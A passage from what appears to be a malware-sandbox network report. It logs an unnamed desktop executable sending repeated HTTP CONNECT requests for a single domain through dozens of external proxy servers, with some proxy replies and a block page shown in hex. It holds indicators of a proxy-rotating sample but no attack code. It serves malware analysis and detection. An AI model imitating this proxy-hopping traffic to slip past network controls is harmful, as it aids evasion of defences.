6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 34 3a 32 31 3a 30 39 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 14:21:09 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.9	54983	41.231.37.76	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.603677034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:12.685430050 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.9	54947	103.166.141.74	20074	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.603909016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.9	54977	188.166.17.18	8881	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604321003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.9	55008	119.28.60.64	8090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604477882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.906800985 CET	315	IN	HTTP/1.1 400 Bad Request Server: hzg/hzg Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 68 7a 67 2f 68 7a 67 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>hzg/hzg</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.9	54882	124.163.236.54	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604482889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591022015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.9	55055	45.40.136.39	45741	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604845047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.9	53145	217.160.133.98	42881	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604846001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.637963057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.638151884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.638134003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.637604952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.639978886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.637537956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.637629032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:09.637974977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.9	54931	103.163.51.254	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.604923010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.9	54276	207.180.198.241	17228	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.605163097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.637871027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.638153076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.638134003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.637592077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.639980078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.9	54311	80.232.253.108	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.605612993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.9	55068	185.162.229.112	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.605760098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.759732962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.9	55066	104.18.237.128	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.605760098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.760291100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.9	54952	95.66.138.21	8880	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.605767965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.9	53022	72.49.49.11	31034	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.609781027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.9	55037	211.222.252.187	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.610375881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.9	55041	98.64.169.17	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.611161947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.326857090 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.9	55045	162.214.227.68	56796	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.620939970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.9	53205	142.11.215.30	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.621509075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700459957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794111967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.836551905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.946978092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.950036049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.949994087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.952817917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.9	50572	50.238.47.86	32100	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.623039007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.9	55023	125.122.26.242	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.623253107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.9	55048	121.66.198.76	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.623255968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.9	55015	148.72.209.174	39458	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.624130011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.9	54357	129.213.150.205	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.626044035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.9	54938	103.153.154.6	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.628159046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.9	55025	132.148.154.97	60349	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.630656958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.434617996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.637986898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.935172081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.434756041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.934808016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.9	55074	92.204.134.38	28695	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
